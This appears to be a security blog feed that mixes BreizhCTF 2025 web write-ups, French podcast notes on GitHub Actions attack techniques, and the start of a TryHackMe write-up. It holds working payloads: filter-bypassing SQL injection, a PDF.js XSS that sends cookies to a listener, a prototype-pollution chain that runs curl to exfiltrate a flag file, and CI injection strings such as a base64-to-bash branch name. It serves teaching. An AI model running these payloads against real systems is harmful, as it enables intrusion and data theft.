                    > GET /1337?a=1&b=2&c=35 HTTP/2> Host: curlmania.ctf.bzh> User-Agent: J'aime la galette saucisse> Accept: */*> LIBEREZ-GCC: OUI> Cookie: jaiplustropdinspi=1> content-type: application/json> referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra> content-lenght: 1337> Content-Length: 38

                    Le plus simple reste peut-être de faire passer la sortie de curl dans Burp (avec l'option -x de curl) et de virer le second en-tête et de désactiver Update Content-Length dans les options du Burp Repeater.

                    curl https://curlmania.ctf.bzh/1337?a=1&b=2&c=35 --user-agent "J'aime la galette saucisse" \  -X GET -H 'LIBEREZ-GCC: OUI' -H 'Cookie: jaiplustropdinspi=1' -H 'content-type: application/json' \  -d '{"enbretagne":"il fait toujours beau"}' -H 'content-length: 1337' \  -H "referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra" \  -x http://127.0.0.1:8080 -k

                    Sauf que ça ne fonctionne pas et fait planter le serveur avec l'erreur RST_STREAM received error with code: 0x01 (Protocol error detected).

                    On ne peut pas injecter du contenu arbitrairement dans les données comme une valeur précise est attendu et qu'il ne doit pas y avoir d'autres noeuds. Par contre, on peut toujours ajouter arbitrairement des espaces à la fin jusqu'à ce que la taille fasse 1337 au lieu de 38.

                    Cela sera plus simple à faire programmatiquement en Ruby.

                    Le site https://curlconverter.com/ permet de convertir une commande curl dans n'importe quel langage.Il reste just à éditer le code converti afin d'ajouter des espaces à la fin fin du corps du message HTTP.

                    require 'net/http'require 'json'uri = URI('https://curlmania.ctf.bzh/1337')params = {  a: '1',  b: '2',  c: '35'}uri.query = URI.encode_www_form(params)req = Net::HTTP::Get.new(uri)req.content_type = 'application/json'req['LIBEREZ-GCC'] = 'OUI'req['Cookie'] = 'jaiplustropdinspi=1'# req['content-length'] = '1337'req['referer'] = "Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra"req['User-Agent'] = "J'aime la galette saucisse"# req.body = {#   'enbretagne' => 'il fait toujours beau'# }.to_jsonreq.body = '{"enbretagne":"il fait toujours beau"}' + ' ' * (1337 - 38)req_options = {  use_ssl: uri.scheme == 'https'}res = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|  http.request(req)endputs res.body

                    BZHCTF{W0w_You_KnoW_H0w_To_FLLW_INSTRXCTIONS!!}

                    Web - Designer#

                    Un nouveau SaaS ennuyeux a publié son application inutile, qui devrait vous aider à générer des boutons/liens HTML sans avoir à écrire de code... Selon nous, il n'y a pas d'utilité spécifique à ce truc. Néanmoins, ils semblent récompenser les personnes qui peuvent trouver des vulnérabilités sur leurs produits avec des flags.

                    Auteur : Mika

                    Il y a une interface /designer qui génère un bouton HTML avec tout un tas d'attributs et qui peut s'auto-exécuter. L'interface garde toutes les valeurs choisies sous forme de paramètre GET.De l'autre côté, il y a l'interface /report qui permet de soumettre une URL qu'un bot viendra consulter.

                    Normalement, on pense directement XSS. Mais ce n'est pas nécessaire ici. Dans le code du bot, on voit que le flag est injecté dans le User-Agent du bot. Il suffit donc que le bot nous contacte pour récupérer la valeur de l'en-tête.

                    Dans l'attribut style, il y a donc juste à changer :

                    -background: linear-gradient(135deg, #6e8efb, #a777e3);+background: url("http://10.50.104.5:9999");

                    Et donc soumettre l'URL suivantehttp://designer-85.chall.ctf.bzh/designer?command=none&type=button&name=&form=&style=background%3A+url("http%3A%2F%2F10.50.104.5%3A9999")%3B+color%3A+white%3B+padding%3A+12px+24px%3B+font-size%3A+16px%3B+border%3A+none%3B+border-radius%3A+8px%3B+box-shadow%3A+0+4px+10px+rgba(0%2C+0%2C+0%2C+0.2)%3B&hreflang=none&rel=none&target=_blank&autoclick=onsurhttp://designer-85.chall.ctf.bzh/report.

                    Avec bien sûr un service en écoute :

                    ➜ ncat -nlvp 9999Ncat: Version 7.95 ( https://nmap.org/ncat )Ncat: Listening on [::]:9999Ncat: Listening on 0.0.0.0:9999Ncat: Connection from 10.84.53.162:53142.GET / HTTP/1.1Host: 10.50.104.5:9999Connection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: BZHCTF{P1Ng_P0nG_1s_4w3s0m3_D0_Y0u_4Gr33?}Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Referer: http://localhost/Accept-Encoding: gzip, deflate

                    Web - GORMiti#

                    Il y a fort longtemps, un monde merveilleux de combat épique pour sauver la nature a vu le jour. Ce monde, nous l'avons admiré, nous l'avons aimé, nous l'avons vécu. A travers la télévision, la magie des Gormitis nous a transporté dans un monde où la nature est reine. Alors pour rendre hommage à ce monde, j'ai décidé d'ouvrir mon propre blog sur l'histoire de gormiti. C'est encore en version beta, mais j'ai fait attention à tout bien sécuriser !

                    Auteur : Al-oxos

                    En lisant le code source, le flag est inséré dans une table secrète qu'il va falloir lire à l'aide d'une SQLi.

                    flagValue := os.Getenv("FLAG")if flagValue == "" {  flagValue = "BZHCTF{FAKE_FLAG}"}var secretCount int64db.Model(&Secret{}).Count(&secretCount)if secretCount == 0 {  db.Create(&Secret{Flag: flagValue})

                    On ne peut pas taper sur la route /search à cause de la conf nginx mais pas de soucis pour taper sur /post/<id>.

                    server {    listen 80;    location / {        proxy_pass http://app:8080/;    }    location ~ ^/post/([0-9]+)$ {        proxy_pass http://app:8080/post/$1;        proxy_http_version 1.1;        proxy_set_header Upgrade $http_upgrade;        proxy_set_header Connection $http_connection;    }    location /search {        deny all;    }}

                    Mais le paramètre ID est filtré avec la fonction Sanitize().

                    router.GET("/post/:id", func(c *gin.Context) {  id := c.Param("id")  safeID := Sanitize(id)  var post Post  if err := db.First(&post, safeID).Error; err != nil {    c.String(http.StatusNotFound, "Post introuvable")    return  }  c.HTML(http.StatusOK, "post.html", gin.H{"post": post})})

                    La fonction Sanitize() nous bloque quelques caractères et mots clés SQL.

                    func Sanitize(input string) string {  s := input  s = strings.ReplaceAll(s, "'", "")  s = strings.ReplaceAll(s, "\"", "\\\"")  s = strings.ReplaceAll(s, ";", "")  reOr := regexp.MustCompile(`(?i)or`)  s = reOr.ReplaceAllString(s, "")  reUnion := regexp.MustCompile(`(?i)union`)  s = reUnion.ReplaceAllString(s, "")  reSelect := regexp.MustCompile(`(?i)select`)  s = reSelect.ReplaceAllString(s, "")  reFrom := regexp.MustCompile(`(?i)from`)  s = reFrom.ReplaceAllString(s, "")  s = strings.ReplaceAll(s, "--", "")  s = strings.ReplaceAll(s, "/*", "")  s = strings.ReplaceAll(s, "*/", "")  return s}

                    Mais l'ordre à une importance. Commes les charges utiles interdites sont remplacées par rien / sont supprimées, on peut s'en servir pour contourner le filtre.

                    Par exemple, -- est supprimé après union ou select, donc sel--ect une fois filtré donnera select.Par exemple, /post/1 OR 1=1 ne fonctionne pas, mais /post/1 O--R 1=1 retourne bien la page.

                    Il suffit donc de faire : /post/1 UN--ION SE--LECT 1,2,3,flag,5 FR--OM secrets pour sélectionner la colonne flag dans la table secrets et l'afficher à la place de l'article.

                    GET /post/1%20UN--ION%20SE--LECT%201,2,3,flag,5%20FR--OM%20secrets HTTP/1.1Host: gormiti-85.chall.ctf.bzhAccept-Language: fr-FR,fr;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://gormiti-85.chall.ctf.bzh/Accept-Encoding: gzip, deflate, brConnection: keep-alive

                    BZHCTF{G0rM1t1_1s_4m4z1ng_3v3n_w1th_h2c_smuggl1ng_4nd_sQL1}

                    Web - Instead#

                    J'ai commencé à résoudre ce défi pendant la compétition et l'ai fini à la maison avec le conteneur Docker après la fin de l'évènement.

                    Un de vos clients vient de créer un site web pour les professionnels à l'aide de son alternant. Apparemment, leur objectif est de concurrencer Linkedin et X ! On vous demande donc d'auditer ce site à l'aide du code source fourni. Prouvez à votre client que parfois, il vaut mieux faire appel à des professionnels.

                    Auteur : Al-oxos

                    Il y a une fonctionnalité pour téléverser un CV en PDF sur son profil et une fonctionnalité de prévisualisation basé sur "pdfjs-dist": "4.1.392", qui est vulnérable à une injection de code JavaScript :

                    Le CV PDF est affiché sur le profil d'un utilisateur que l'on peut ensuite signaler et qu'un bot ira voir.

                    Le PDF de démo déclenche bien une alerte XSS contenant l'origine et l'URL du PDF :

                    origin: https://instead-85.chall.ctf.bzh, pdf url: https://instead-85.chall.ctf.bzh/cv/25944f8e-65ac-47ec-b6b0-209ecf307aee

                    On peut donc utiliser un PoC pour personnaliser la charge utile.

                    fetch('https://10.50.104.5',{method: 'POST',mode: 'no-cors',body: 'prout'});

                    Le bot utilise le chromium du système qui est un Debian bookworm. La version de chromium devrait donc être au maximum 134.0.6998.35 ou 134.0.6998.88 selon https://repology.org/project/chromium/versions.

                    ➜ python CVE-2024-4367.py "fetch('https://10.50.104.5',{method: 'POST',mode: 'no-cors',body: document.cookie});"[+] Created malicious PDF file: poc.pdf[+] Open the file with the vulnerable application to trigger the exploit.
                    ➜ sudo ncat --ssl -nlvp 443[sudo] Mot de passe de noraj :Ncat: Version 7.95 ( https://nmap.org/ncat )Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.Ncat: SHA-1 fingerprint: 77DC B076 F8CE 4514 0D5A DCDE 608B 6598 B992 B9F5Ncat: Listening on [::]:443Ncat: Listening on 0.0.0.0:443

                    Le problème est que le signalement ne fait qu'envoyer le bot sur le profil d'un utilisateur et que cette page ne contient pas le CV et donc la XSS. Il faut trouver un moyen de rediriger le bot sur le CV.

                    Si l'on regarde routes.js, on s'aperçoit que le signalement est géré par publicController.reportUser.

                    router.get("/cv/:id", authMiddleware, profileController.previewCV);…router.get("/user/report/:id",authMiddleware, publicController.reportUser);

                    La fonction est la suivante :

                    const reportUser = async (req, res) => {  const id = req.params.id;  if (!/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/i.test(id)) {    return res.status(400).json({ error: 'L\'ID doit être un UUIDv4.' });  }  try {    visitUserReport(id);    return res.redirect(`/user/${id}`);  }  catch (e) {    return res.status(500).json({ error: 'Erreur lors de la visite du profil.' });  }};

                    Il y a un problème avec l'expression régulière, elle vérifie bien qu'il s'agit d'un UUID mais ne vérifie pas que c'est la fin de la chaîne de caractères avec un $.

                    Par conséquent, si l'on veut rediriger le bot vers /cv/31f1c774-9fde-4bd4-a31e-016b97cd3213, il faut demander l'ID 68a31daf-a7b8-48ff-b8fc-2e7a916cd9de/../../../cv/31f1c774-9fde-4bd4-a31e-016b97cd3213 et encoder les / afin que cela ne soit pas traité comme le chemin directement par le serveur web, mais bien considéré la valeur de id.

                    GET /user/report/68a31daf-a7b8-48ff-b8fc-2e7a916cd9de%2f..%2f..%2f..%2fcv%2f31f1c774-9fde-4bd4-a31e-016b97cd3213 HTTP/1.1Host: localhost:5000sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Accept-Language: en-US,en;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vcmFqIiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzQyMTU5MTg0LCJleHAiOjE3NDIxNjYzODR9.NdcnSL243UDUeqPI77Wr2kqqEYl3uTUtnHzGHyZ90FgConnection: keep-alive

                    Le problème est que le cookie est en httpOnly, on ne recevra donc pas le cookie jwt.

                    ➜ sudo ncat --ssl -nlvp 443Ncat: Version 7.95 ( https://nmap.org/ncat )Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.Ncat: SHA-1 fingerprint: 5618 C88D D8E6 ACFC A751 59C6 9244 57C2 7D57 5B8DNcat: Listening on [::]:443Ncat: Listening on 0.0.0.0:443Ncat: Connection from 172.17.0.3:55812.POST / HTTP/1.1Host: 10.0.2.15Connection: keep-aliveContent-Length: 0sec-ch-ua-platform: "Linux"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36sec-ch-ua: "Not:A-Brand";v="24", "Chromium";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: http://127.0.0.1:5000Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:5000/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

                    Normalement, les formulaires de réinitialisation de mot de passe sont protégés par un jeton anti-CSRF et la XSS permet de le voler afin de réinitialiser le mot de passe du compte.Ici pas de jeton anti-CSRF. Par contre, un jeton de réinitialisation est demandé, et l'envoi à l'utilisateur n'est pas implémenté donc impossible de le deviner.

                    const resetPassword = async (req, res) => {    const newPassword = req.body.newPassword;    const username = req.user.username;    const providedToken  = req.body.resetToken;    try{        await User.generateResetToken(username);        /* TODO : Réaliser un envoie de mail pour le reset du mot de passe          On attends que les mails soient pris en compte dans la création de l'utilisateur */        await User.checkResetToken(username, providedToken);        await User.resetPassword(username, hashPassword(newPassword));        return res.redirect("/profile");    }    catch(e){        if (e.message.includes("Token invalide")) {            return res.status(400).json({ message: "Token invalide" });        }        return res.status(500).json({message: "Erreur lors de la réinitialisation du mot de passe"});    }};

                    Toutefois, on peut voir que la comparaison du jeton est fait avec un LIKE, donc en injectant un % nous aurons une injection SQL qui valide la réinitialisation de mot de passe.

                    User.checkResetToken = async function(username, providedToken) {  try {    const user = await this.findOne({      where: {        username,        resetToken: { [Op.like]: providedToken },        resetTokenExpiration: { [Op.gte]: new Date() }      }    });    if (!user) {      throw new Error("Token invalide");    }    return user;  } catch (e) {    throw new Error("Erreur lors de la vérification du token: " + e.message);  }};

                    Pour plus de praticité, j'ai utilisé toxssin afin d'avoir toujours la même charge utile dans le PDF et de ne pas avoir à le régénérer et re-téléverser à chaque modification.

                    ➜ python CVE-2024-4367.py "document.write('<script src=https://10.0.2.15/handler.js></script>')"[+] Created malicious PDF file: poc.pdf[+] Open the file with the vulnerable application to trigger the exploit.

                    Par la suite, je reçois la connexion du bot et exécute reinit_mdp.js.

                    [00:39:04] [Request] Received request for toxin! MITM attack launched against victims's browser!              ├─[Client-IP] -> 172.17.0.3              ├─[Origin] -> http://127.0.0.1:5000              ├─[User-Agent] -> Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36              └─[State] -> Being logged in the background[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful![00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!toxssin > sessions---------------------- ( Sessions ) ----------------------…Session id: c222198fd811464aab27553882a1d5b8Data: {'ip': '172.17.0.3', 'origin': 'http://127.0.0.1:5000', 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36', 'cookie': 'TOXSESSIONID=c222198fd811464aab27553882a1d5b8'}Total: 4----------------------------------------------------------toxssin > exec /home/noraj/ctf/BreizhCTF2025/reinit_mdp.js c222198fd811464aab27553882a1d5b8Script appended for execution. Awaiting results.[00:39:22] [Custom Script Exec] [SID: c222198fd811464aab27553882a1d5b8] Script /home/noraj/ctf/BreizhCTF2025/reinit_mdp.js executed without error(s). Output:[object Promise]

                    reinit_mdp.js contient de quoi changer le mot de passe de l'admin en password.

                    fetch('/profile/reset-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'newPassword=password&resetToken=%'})

                    On peut dorénavant se connecter avec admin / password et accéder au tableau de bord d'administration.

                    À partir d'ici, que faire ? En lisant le code, vous avez probablement tous vu :

                    1. flag.txt n'est sourcé nulle part dans le code, il va falloir RCE pour le lire
                    2. la fonction SafeMerge dans utils.js qui appelle à de la pollution de prototype

                    Sur le tableau de bord d'administration, on voit que la fonction exec() est appelé sur getHealthcheckCommand().

                    const adminDashboard = async (req, res) => {    try {        const user = await User.getUserWithUsername(req.user.username);        await updateStats();        const services = getHealthcheckCommand();        exec(services, { timeout: 5000 }, (error, stdout, stderr) => {            if (error) {                return res.status(500).send("Erreur lors du chargement du dashboard: " + error.message);            }            const result = stdout.trim();            return res.render('adminDashboard', { user: user,stats: adminConfig.stats, healthcheck: result });            });    }    catch (e) {        console.error("Erreur dans adminDashboard:", e);        return res.status(500).send("Erreur lors du chargement du dashboard: " + e.message);    }};

                    La fonction getHealthcheckCommand() exécutera service.debugHealthcheck si adminConfig.debug est activé (désactivé par défaut).

                    const getHealthcheckCommand = (req, res) => {    if (!adminConfig.showOption.display) {        return "echo Service désactivé";    }    if(adminConfig.debug) {        if (service.debugHealthcheck && service.debugHealthcheck !== "") {            return service.debugHealthcheck;        }    }    return healthcheck;};

                    La pollution de prototype servira alors à définir une fonction service.debugHealthcheck pour RCE.Pour déclencher la pollution de prototype, il faut déclencher SafeMerge() dans updateConfig. Dans l'UI cela se fera via le menu Modifier la configuration.

                    Pour exploiter SafeMerge(), il faudra utiliser une ruse Unicode. En effet, une normalisation avec décomposition NFKC est effectuée après le filtre qui vérifie la présence de __proto__ au lieu de le faire avant. Une erreur qui va nous permettre de contourner la protection anti-PP.

                    export const SafeMerge = (target, source) => {  Object.keys(source).forEach(Key => {    if (["__proto__", "prototype", "constructor"].includes(Key)) return;    const escKey = Key.normalize("NFKC");    const sourceValue = source[Key];    if (typeof target[escKey] !== "undefined" && typeof sourceValue === "object" && sourceValue !== null) {      target[escKey] = SafeMerge(target[escKey], sourceValue);    } else {      target[escKey] = sourceValue;    }  });  return target;}

                    Plusieurs caractères Unicode peuvent donner un _ (U+005F) une fois normalisé avec NFKC comme ＿ (U+FF3F).

                    La requête avec la pollution de prototype en JSON ressemblera alors à ça :

                    POST /admin/dashboard/config HTTP/1.1Host: localhost:5000Content-Length: 159sec-ch-ua-platform: "Linux"Accept-Language: en-US,en;q=0.9sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Accept: */*Origin: http://localhost:5000Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:5000/admin/dashboardAccept-Encoding: gzip, deflate, brCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NDIxNzI1NzQsImV4cCI6MTc0MjE3OTc3NH0.MxVTZNdiUAAcHDOLctY3QdrdSR57fyCY1Sj91p0kpmUbbConnection: keep-alive{  "showOption": {    "display": true  },  "debug": true,  "\uff3f\uff3fproto\uff3f\uff3f": {    "debugHealthcheck": "curl -k https://10.0.2.15:9999/$(cat /app/flag.txt|base64)"  }}

                    Ce qui permet de recevoir le flag.

                    ➜ sudo ncat --ssl -nlvp 9999Ncat: Version 7.95 ( https://nmap.org/ncat )Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.Ncat: SHA-1 fingerprint: 03FC 5C96 D7F9 3FDF 80FB EEFA 6A1C D6E0 475A 8D40Ncat: Listening on [::]:9999Ncat: Listening on 0.0.0.0:9999Ncat: Connection from 172.17.0.3:50158.GET /QlpIQ1RGe0Zha2VfRmxhZ30= HTTP/1.1Host: 10.0.2.15:9999User-Agent: curl/7.88.1Accept: */*➜ printf %s 'QlpIQ1RGe0Zha2VfRmxhZ30=' | base64 -dBZHCTF{Fake_Flag}
                    ]]>                     Service Hacktion - Notes attachées au balado S01E11 - Panorama de la sécurité de Github Action https://blog.raw.pm/fr/Service-Hacktion-S01E11-github-action/ Saison Épisode 1 11

                    Notes#

                    Vocabulaire#

                    • IC : intégration continue (CI : continuous integration en anglais)
                    • DC : déploiement continue (CD : continuous deployment en anglais)
                    • Github Action : nom de l'outil de IC/DC intégré de Github
                    • ECD : exécution de code à distance (RCE : remote code execution en anglais)
                    • fusiodemande : demande de fusion d'un changement de code dans un dépôt git (merge request en anglais)
                    • tube ou bitoduc : conduits transportant des bits (pipeline en anglais)

                    Partie 1 - Aperçu#

                    • Introduction
                    • Contexte GitHub
                      • Contextes intéressant pour un attaquant : env, secrets, github, steps, needs
                      • Exemple d'ECD : ${{ github.event.issue.title }} et $(id) dans le titre d'un ticket
                    • Secrets Github
                    • Permissions des flux de travaux
                      • github.token ou secrets.GITHUB_TOKEN : jeton d'authentification spécifique à chaque tâche
                      • Par défaut, le jeton à accès en lecture seule au dépôt
                      • Avant 2022, le jeton avait aussi le droit d'écriture par défaut
                      • Le changement n'est pas forcé, les organisations créées avant cette date ont toujours le droit d'écrite par défaut
                      • Peut être défini de manière granulaire
                    • Nouveaux contributeurs
                      • Par défaut, les flux de travail déclenchés par des fusiodemandes des nouveaux contributeurs externes à des dépôts publics demandent une approbation pour s'exécuter automatiquement
                      • Le flux de travail sera mis en pause en attendant
                      • Facilement contournable : faire 1ère contribution anodine et une 2ième malveillante
                    • Déclenchements des flux de travail
                      • push - peu utile pour l'attaquant
                      • pull_request - pour cet évènement GITHUB_TOKEN est restreint : il ne peut pas avoir de droit en écriture, sinon tout le monde pourrait modifier le code du projet, et ne peut pas lire les secrets
                      • pull_request_target - lors d'activité sur une fusiodemande, ex : quand la branche a été mise à jour, à accès en écriture et aux secrets, peut être configuré de manière granulaire sur les types d'évènements
                      • workflow_run - quand un flux de travail est demandé ou en cours ou complété, permet de chainer plusieurs flux de travail, n'hérite pas des droits, le flux fils (celui avec workflow_run) est privilégié (écriture + accès aux secrets)
                        • action/checkout@v2 + ref: ${{ github.event.workflow_run.head_sha }} : se base sur le commit qui a déclenché le flux de travail, peut exécuter le code de l'attaquant, ex : dans un des étapes suivantes est exécutée la commande npm run script-perso et que l'attaquant a modifié package.json pour contenir sa commande malveillante dans scripts.script-perso.
                        • Téléchargement d'un artefact et fait quelque chose avec, il suffit alors d'écrire par dessus

                    Partie 2 - Exemples de cas réels#

                    • Injection d'expressions - Éléments contrôlables par un attaquant
                      • github.event.issue.{title,body}, github.event.pull_request.{title,body}, github.event.{comment,review}.body, github.event.commits.*.message, github.event.commits.*.author.{email,name}, env.*, etc.
                      • Apache Superset : évènement issue_comment + github.event.comment.body dans un run
                      • AutoGPT : évènement pull_request_target sur plusieurs branches + github.event.pull_request.head.ref concaténé dans un script bash, ex. de charge utile ";{echo,aWQK}|{base64,-d}|{bash,-i};echo" en nom de branche puis fusiodemande
                      • Microsoft Generative AI for Beginners : évènement pull_request_target + actions/checkout@v3 avec ref: ${{ github.event.pull_request.head.sha }} dont on peut abuser avec un fichier Markdown spécifiquement conçu
                      • ant-design : évènement workflow_run + actions/checkout@v4 + dawidd6/action-download-artifact@v2 et un fichier JS est exécuter, il suffit de créer un flux de travail avec le même nom et d'utiliser actions/upload-artifact@v3
                    • Bascules (git) dangereuses
                      • Cypress : évènement pull_request_target + actions/checkout@v3 avec ref: ${{ github.event.pull_request.head.ref }} puis npm install, il suffit d'éditer package.json
                      • AutoGPT : évènement pull_request_target + actions/checkout@v3 avec ref: ${{ github.event.pull_request.head.ref }} puis pip install -r requirements.txt, il suffit d'éditer requirements.txt
                      • excalidraw : évènement issue_comment + … + actions/checkout@v2 où est récupéré l'identifiant de la fusiodemande puis utilisation de yarn, il suffit de créer un fichier .yarnrc.yml
                      • Apache Doris ou FreeRDP ou Angular : évènement pull_request_target + actions/checkout@v3 avec ref: ${{ github.event.pull_request.head.sha }} et applique un correctif sur actions/action-sh-checker

                    Partie 3#

                    • Détournement de dépôt (repository hijacking en anglais)
                      • Je créé des mots-valises : détournepôt ou dépônement (repojacking en anglais)
                      • Quand un flux de travail fait référence à une action sur une organisation ou un utilisateur GitHub inexistant (similaire aux prises de contrôle d'un sous-domaine)
                      • Il suffit de réclamer l'organisation et de créer un dépôt pour l'action mentionnée pour avoir une ECD dans le flux de travail
                      • Pour se protéger contre le détournement de dépôt, GitHub utilise un mécanisme de sécurité qui interdit l'enregistrement de dépôts ayant déjà existés avec plus de 100 clones au cours de la semaine précédant le changement de nom ou la suppression du compte du propriétaire
                      • Cela est arrivé sur un dépôt Azure
                    • Écriture dangereuse
                      • Des variables d'environnement crées par défaut
                      • Les variables d'environnement sont partagées entre les étapes
                      • On peut ECD avec LD_PRELOAD ou NODE_OPTIONS si on peut contrôler cette variable dans une autre étape
                        • NODE_OPTIONS="--experiment --experimental-loader=data:text/javascript,console.log('injection');"
                      • Exemple d'un cas un peu plus sofistiqué pour swagger-editor
                      • NODE_OPTIONS mis sur liste noire dans les versions récentes de GitHub runner
                    • Commande de flux de travail
                      • Commande pour interagir directement avec la machine
                      • Avant 2020 il était facile d'injecter set-env pour ECD
                      • Si le dev. active ACTIONS_ALLOW_UNSECURE_COMMANDS, on peut utiliser set-env
                      • Il y a toujours set-output, déprécié, vuln. dans un dépôt Firebase
                        • Test si pr_number.txt contient bien un nombre
                        • La valeur du fichier est stocké dans echo "::set-output name=pr_number::$pr_number"
                        • Puis utilisé dans une autre étape ${{ steps.unzip.outputs.pr_number }}
                        • La commande unzip va afficher le nom du fichier dans STDOUT
                        • Avec un nom de fichier malveillant dans le Zip on peut donc contrôler la valeur de pr_number qui sera executé
                        • Exemple de nom de fichier dans le Zip : steps/Hello ##[set-output name=pr_number;]'end'}); console.log('pwn') ; console.log({console
                        • pr_number = 'end'}); console.log('pwn') ; console.log({console

                    Références#

                    Synacktiv

                    Legit Security

                    ]]>                     New York Flankees - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-New-York-Flankees-write-up/ Information

                    Room#

                    • Name: New York Flankees Alexandre ZANNI writeups security web writeups crypto rce eop docker thm aes padding oracle Sat, 20 Jul 2024 23:19:00 GMT Information

                      Room#

                      • Name: New York Flankees
                      • Profile: tryhackme.com
                      • Difficulty: Medium
                      • Description: Can you, the rogue adventurer, break through Stefan's defences to take control of his blog!

                      New York Flankees

                      Write-up

                      Overview#

                      Install tools used in this WU on BlackArch Linux:

                      sudo pacman -S nmap curl rustpad gtfoblookup

                      Obectives#

                      Flag 1 What is the cleartext value of the decrypted blob (the format is element1:element2)?

                      Flag 2 What is the flag in the admin panel?

                      Flag 3 Dig around in the container. What is the second flag?

                      Flag 4 What is the final flag?

                      Network enumeration#

                      Port and service enumeration with nmap.

                      sudo nmap -sSVC -p- -T4 10.10.171.186 -v
                      PORT     STATE SERVICE VERSION22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   3072 30:2f:78:a5:dc:68:17:da:39:23:54:c3:3b:e1:9d:c4 (RSA)|   256 d0:4c:86:54:a5:22:46:d1:8d:3d:a5:f3:72:46:16:69 (ECDSA)|_  256 da:d0:ef:73:60:b7:16:c3:23:db:d1:22:09:f7:5b:eb (ED25519)8080/tcp open  http    Octoshape P2P streaming web service| http-methods:|_  Supported Methods: GET|_http-title: Hello world!|_http-favicon: Unknown favicon MD5: 6FD74A43E6C5F7502642326FAB0B3E69Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

                      I gave an arbitrary name to the machine to access it more easily than with the IP address.

                      ➜ grep stefan /etc/hosts10.10.171.186 stefan.thm

                      Web enumeration#

                      Let's start with the web server on port 8080 : http://stefan.thm:8080/.

                      There are some pages linked in the HTML or in JS:

                      • /debug.html
                      • /login.html
                      • /exec.html

                      This script is included:

                      document.addEventListener('DOMContentLoaded', function() {    // Check if the "isLoggedIn" cookie exists    const isLoggedIn = document.cookie.includes('loggedin');    // Get the admin login button element    const adminLoginBtn = document.querySelector('.admin-login-btn');    // If the "isLoggedIn" cookie exists, change the button text to "FINDME"    if (isLoggedIn) {        adminLoginBtn.textContent = 'DEBUG';    }    // Add event listener to the admin login button    adminLoginBtn.addEventListener('click', function() {        // If the user is not logged in, redirect to login.html        if (!isLoggedIn) {            window.location.href = 'login.html';        } else {            window.location.href = 'exec.html'        }    });});

                      There is a description talking about authentication and oracle.

                      On the debug page we can read:

                      TODO: Implement custom authentication

                      Your custom authentication implementation goes here.

                      TODO: Fix verbose error (padding)

                      Fix the verbose error related to padding.

                      And the following script is included on the page:

